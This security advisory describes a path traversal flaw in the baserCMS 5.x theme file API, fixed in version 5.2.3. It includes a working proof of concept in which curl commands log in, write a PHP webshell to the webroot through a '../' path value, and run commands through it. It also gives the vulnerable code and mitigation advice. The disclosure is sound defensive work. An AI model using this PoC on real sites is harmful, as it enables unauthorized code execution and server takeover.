| パッケージ | 影響を受けるバージョン | 修正済みバージョン |
|---|---|---|
| baserproject/basercms | < 5.2.3 | 5.2.3 |
| basercms | < 5.2.3 | 5.2.3 |
A path traversal vulnerability exists in the baserCMS 5.x theme file management API (/baser/api/admin/bc-theme-file/theme_files/add.json) that allows arbitrary file write.
An authenticated administrator can include ../ sequences in the path parameter to create a PHP file in an arbitrary directory outside the theme directory, which may result in remote code execution (RCE).
File: plugins/bc-theme-file/src/Service/BcThemeFileService.php
public function getFullpath(string $theme, string $plugin, string $type, string $path)
{
// ...
return $viewPath . $type . DS . $path; // $path is not sanitized
}
path: "../../../../webroot/" in the theme file creation API# 1. Login
curl -X POST "http://target/baser/api/admin/baser-core/users/login.json" \
-H "Content-Type: application/json" \
-d '{"email":"[email protected]","password":"password"}'
# 2. Create webshell
curl -X POST "http://target/baser/api/admin/bc-theme-file/theme_files/add.json" \
-H "Authorization: Bearer <token>" \
-H "Content-Type: application/json" \
-d '{
"theme": "BcThemeSample",
"plugin": "",
"type": "layout",
"path": "../../../../webroot/",
"base_name": "shell",
"ext": "php",
"contents": "<?php system($_GET[\"cmd\"]); ?>"
}'
# 3. RCE
curl "http://target/shell.php?cmd=id"
| Item | Details |
|---|---|
| CWE | CWE-22: Path Traversal, CWE-73: External Control of File Name or Path |
| Impact | Arbitrary file write, Remote Code Execution (RCE) |
| Attack Prerequisites | Administrator privileges + API enabled (USE_CORE_ADMIN_API=true), or chaining with XSS, etc. |
| Reproducibility | High (PoC verified) |
| Test Environment | baserCMS 5.x (Docker environment) |
これらの製品をお使いですか？サイトをスキャンして、脆弱なバージョンが公開されていないか確認しましょう。
無料でサイトをスキャンUSE_CORE_ADMIN_API=trueUSE_CORE_ADMIN_API=false): Direct external API calls are prohibited. CSRF protection is also active, so this vulnerability alone cannot be exploited. An exploit chain involving XSS or similar is required.Rather than relying on simple string replacement or blacklist checks of input, the canonicalized path (using realpath(), etc.) should be verified to be within the theme base directory after file creation or immediately before writing. If the path falls outside the boundary, the operation should be rejected.
The specific implementation location and method are left to the project's design decisions.
WordPress's theme editor only allows editing within wp-content/themes/ and does not permit writes outside that directory. CVE-2019-8943 was reported as a path traversal vulnerability in wp_crop_image() that allowed writing cropped image output to an arbitrary directory by including ../ in the filename.
This vulnerability is not a matter of "administrators being able to execute arbitrary code" by design, but rather stems from a security boundary violation where "the theme editing function can write outside the theme directory (to webroot, config, etc.)."
This advisory was translated from Japanese to English using GitHub Copilot.